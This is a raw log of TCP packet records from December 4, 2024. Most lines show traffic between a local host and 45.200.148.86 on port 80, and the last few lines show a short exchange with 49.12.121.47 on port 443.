Dec 4, 2024 15:12:31.662432909 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.663316965 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.663347006 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.663372993 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.663383961 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.663417101 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.663494110 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.663556099 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.663567066 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.663605928 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.663697004 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.663708925 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.663721085 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.663729906 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.663733006 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.663758039 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.663916111 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.663949966 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.664321899 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.664400101 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.664412022 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.664446115 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.664549112 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.664558887 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.664588928 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.664803982 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.664846897 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.664876938 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.664889097 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.664946079 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.665031910 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.665043116 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.665054083 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.665081024 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.665158033 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.665208101 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.665241003 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.665688992 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.665734053 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.665761948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.665776968 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.665811062 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.665874958 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.665884972 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.665914059 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.666131020 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.666198969 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.666210890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.666246891 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.666337967 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.666348934 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.666383028 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.666477919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.666488886 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.666512966 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.666907072 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.666950941 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.666961908 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.666980028 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.667071104 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.667099953 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.667119026 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.667121887 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.667193890 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.667300940 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.667319059 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.667336941 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.667917967 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.667943001 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.667953968 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.667960882 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.667973995 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.667996883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.668006897 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.668011904 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.668049097 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.668356895 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.668396950 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.668430090 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.668443918 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.668482065 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.668592930 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.668606997 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.668651104 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.668713093 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.668718100 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.668731928 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.668751955 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.669272900 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.669320107 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.669348955 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.669372082 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.669404984 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.669446945 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.669461012 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.669495106 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.669576883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.677728891 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.803296089 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.803345919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.803361893 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.803386927 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.803406000 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.803415060 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.803430080 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.803468943 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.803478956 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.803492069 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.804992914 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805069923 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805087090 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805124044 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.805159092 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.805193901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805208921 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805223942 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805238008 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805244923 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.805274010 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.805409908 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805425882 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805468082 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.805552959 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805567026 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805579901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805613041 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.805749893 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805763960 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805779934 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.805787086 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.805814981 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.806246996 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.806308985 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.806324959 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.806360960 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.806456089 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.806469917 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.806484938 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.806493044 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.806523085 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.806830883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.806905031 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.806922913 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.806961060 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.807029009 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.807065964 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.807082891 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.807099104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.807353973 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.807370901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.807400942 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.807430983 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.807724953 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.807805061 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.807820082 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.807848930 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.807938099 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.807955980 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.807975054 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.807977915 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.811086893 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.854105949 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.854185104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.854198933 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.854257107 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.854336023 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.854351044 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.854372978 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.854758024 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.854775906 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.854792118 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.854793072 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.855074883 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.855871916 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.855935097 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.855951071 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.855984926 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.856085062 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.856106997 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.856117964 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.856121063 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.856137991 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.856173992 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.856307030 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.856339931 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.856403112 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.856420994 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.856549025 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.856571913 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.856580973 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.856585979 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.856601000 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.856605053 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.856630087 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.856801033 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.856823921 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.856858969 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.857099056 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.857153893 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.857229948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.857244015 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.857264996 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.857289076 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.857386112 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.857400894 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.857414961 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.857433081 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.857433081 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.857472897 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.857989073 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.858052015 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.858067036 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.858084917 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.858205080 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.858220100 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.858232975 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.858244896 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.858247042 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.858288050 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.858423948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.858479023 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.858880997 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.858951092 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.858973026 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.859008074 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.859200954 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.859226942 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.859251976 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.859272957 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.859287977 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.859302998 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.859324932 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.859364986 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.859752893 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.859814882 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.859832048 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.859870911 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.859950066 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.859965086 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.859983921 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.859985113 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.859987974 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.860018015 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.860531092 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.860573053 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.860595942 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.860610962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.860646009 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.860765934 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.860780001 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.860795021 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.860847950 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.860862970 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.860888958 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.860977888 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.861445904 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.861498117 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.861514091 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.861538887 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.861569881 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.861638069 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.861651897 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.861665964 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.861684084 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.981749058 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.991131067 CET	443	49802	49.12.121.47	192.168.2.10
Dec 4, 2024 15:12:31.995229959 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.995377064 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.995392084 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.995410919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.995443106 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.995477915 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.995479107 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.995491028 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.995503902 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.995563984 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.997030020 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997072935 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.997113943 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997176886 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997266054 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997278929 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997308969 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.997350931 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.997375965 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997401953 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997445107 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.997531891 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997591019 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997694969 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997735023 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.997740030 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997750998 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997802973 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.997901917 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997915983 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997926950 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997942924 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.997946978 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.997972012 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.998080969 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.998123884 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.998212099 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.998306036 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.998317003 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.998353958 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.998461962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.998473883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.998485088 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.998506069 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.998534918 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.998835087 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.998893976 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.998907089 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.998938084 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.999037027 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.999049902 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.999075890 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.999195099 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.999207973 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.999218941 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.999236107 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.999253988 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.999733925 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.999829054 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.999841928 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.999883890 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.999958992 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.999988079 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.000000000 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:32.000005960 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.000046968 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:32.002938032 CET	49802	443	192.168.2.10	49.12.121.47
Dec 4, 2024 15:12:32.002955914 CET	443	49802	49.12.121.47	192.168.2.10
Dec 4, 2024 15:12:32.004133940 CET	443	49802	49.12.121.47	192.168.2.10
Dec 4, 2024 15:12:32.004201889 CET	49802	443	192.168.2.10	49.12.121.47
Dec 4, 2024 15:12:32.007214069 CET	49802	443	192.168.2.10	49.12.121.47
Dec 4, 2024 15:12:32.010854006 CET	49802	443	192.168.2.10	49.12.121.47
Dec 4, 2024 15:12:32.010880947 CET	443	49802	49.12.121.47	192.168.2.10
Dec 4, 2024 15:12:32.010941029 CET	443	49802	49.12.121.47	192.168.2.10
